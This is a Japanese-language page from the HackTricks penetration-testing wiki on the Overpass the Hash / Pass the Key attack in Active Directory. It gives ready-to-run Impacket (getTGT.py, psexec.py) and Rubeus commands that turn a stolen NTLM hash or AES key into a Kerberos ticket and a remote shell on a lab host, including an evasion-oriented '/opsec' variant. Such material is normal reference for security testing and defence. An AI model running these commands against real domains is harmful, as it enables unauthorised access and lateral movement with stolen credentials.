hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md

5.9 KiB
Raw Blame History

Over Pass the Hash/Pass the Key

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

{% embed url="https://websec.nl/" %}

Overpass The Hash/Pass The Key (PTK)

**Overpass The Hash/Pass The Key (PTK)**攻撃は、従来のNTLMプロトコルが制限され、Kerberos認証が優先される環境向けに設計されています。この攻撃は、ユーザーのNTLMハッシュまたはAESキーを利用してKerberosチケットを取得し、ネットワーク内のリソースに不正アクセスすることを可能にします。

この攻撃を実行するためには、最初に対象ユーザーアカウントのNTLMハッシュまたはパスワードを取得する必要があります。この情報を入手した後、アカウントのチケット発行チケットTGTを取得することで、攻撃者はユーザーが権限を持つサービスやマシンにアクセスできます。

このプロセスは、次のコマンドで開始できます:

python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

AES256を必要とするシナリオでは、-aesKey [AES key]オプションを利用できます。さらに、取得したチケットは、smbexec.pyやwmiexec.pyなどのさまざまなツールと組み合わせて使用することができ、攻撃範囲が広がります。

_PyAsn1Error_や_KDC cannot find the name_などの問題が発生した場合は、通常、Impacketライブラリを更新するか、IPアドレスの代わりにホスト名を使用して、Kerberos KDCとの互換性を確保することで解決されます。

このテクニックの別の側面を示すRubeus.exeを使用した代替コマンドシーケンスは次のとおりです

.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

この方法は、Pass the Keyアプローチをミラーリングし、チケットを直接乗っ取って認証目的で利用します。TGTリクエストの開始は、デフォルトでRC4-HMACの使用を示すイベント4768: A Kerberos authentication ticket (TGT) was requestedをトリガーし、しかし、現代のWindowsシステムではAES256が好まれます。

運用セキュリティに準拠し、AES256を使用するには、次のコマンドを適用できます:

.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec

参考文献

{% embed url="https://websec.nl/" %}

htARTEHackTricks AWS Red Team Expert でゼロからヒーローまでAWSハッキングを学ぶ